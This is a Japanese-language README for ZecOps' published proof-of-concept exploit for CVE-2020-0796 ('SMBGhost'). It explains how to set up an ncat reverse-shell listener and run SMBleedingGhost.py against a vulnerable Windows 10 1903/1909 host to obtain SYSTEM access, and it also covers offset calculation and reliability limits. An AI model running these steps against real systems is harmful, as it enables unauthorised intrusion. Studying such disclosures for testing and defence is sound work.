
CVE-2020-0796 リモートコード実行 POC
(c) 2020 ZecOps, Inc. - https://www.zecops.com - 攻撃者のミスを見つける
CVE-2020-0796 / "SMBGhost" のリモートコード実行 POC
期待される結果: システムアクセスを伴うリバースシェル
企業環境での教育およびテスト目的のみを意図しています。
ZecOps はコードに関する一切の責任を負いません。自己責任で使用してください。
SMBGhost やその他の攻撃を自動的に検出する、サーバー、エンドポイント、モバイルデバイス向けのエージェントレス DFIR ツールにご興味があれば、[email protected] までお問い合わせください。
Python と ncat がインストールされていることを確認してください。
ターゲットコンピュータで calc_target_offsets.bat を実行し、スクリプトの出力に従って SMBleedingGhost.py ファイルの先頭にあるオフセットを調整してください (下記の注も参照)。
ncat を以下のコマンドライン引数で実行します:
ncat -lvp <port>
ここで <port> は ncat が待機するポート番号です。
SMBleedingGhost.py を以下のコマンドライン引数で実行します:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
ここで <target_ip> は脆弱なターゲットコンピュータの IP アドレスです。 <reverse_shell_ip> と <reverse_shell_port> は ncat が待機する IP アドレスとポート番号です。
すべてがうまくいけば、ncat にターゲットコンピュータへのシステムアクセスを提供するシェルが表示されます。
注: ターゲットコンピュータ上で calc_target_offsets.bat スクリプトを実行する必要があるのはなぜか、それによってリモートコード実行がリモートであるという本来の目的が損なわれるのではないかと思われるかもしれません。これらのオフセットはランダムではなく、同じ Windows バージョンのすべての Windows インスタンスで同じです。ターゲットの Windows バージョンを検出してオフセットを自動調整するか、オフセットに全く依存しないようにすることで、攻撃をより汎用的にすることも可能ですが、これは POC に過ぎず、より簡単な方法を採用しました。また、この POC が普遍的でなく、テストや教育以外の用途には不便であることは良いことだと考えています。

Windows 10 バージョン 1903 および 1909 が影響を受けます。パッチ未適用の Windows 10 1903 バージョンは、Windows の null 参照外しのバグ (KB4512941 で修正) のためサポートされていません。
悪用の性質上、この POC はシングル論理プロセッサのコンピュータ (または VM) で実行されているターゲットに最適に動作します。VirtualBox で実行されている複数の論理プロセッサを持つターゲットもサポートされるはずですが、この場合 POC の信頼性は低くなります。その他のターゲットはサポートされない可能性があります。詳細については、以下の技術文書を参照してください。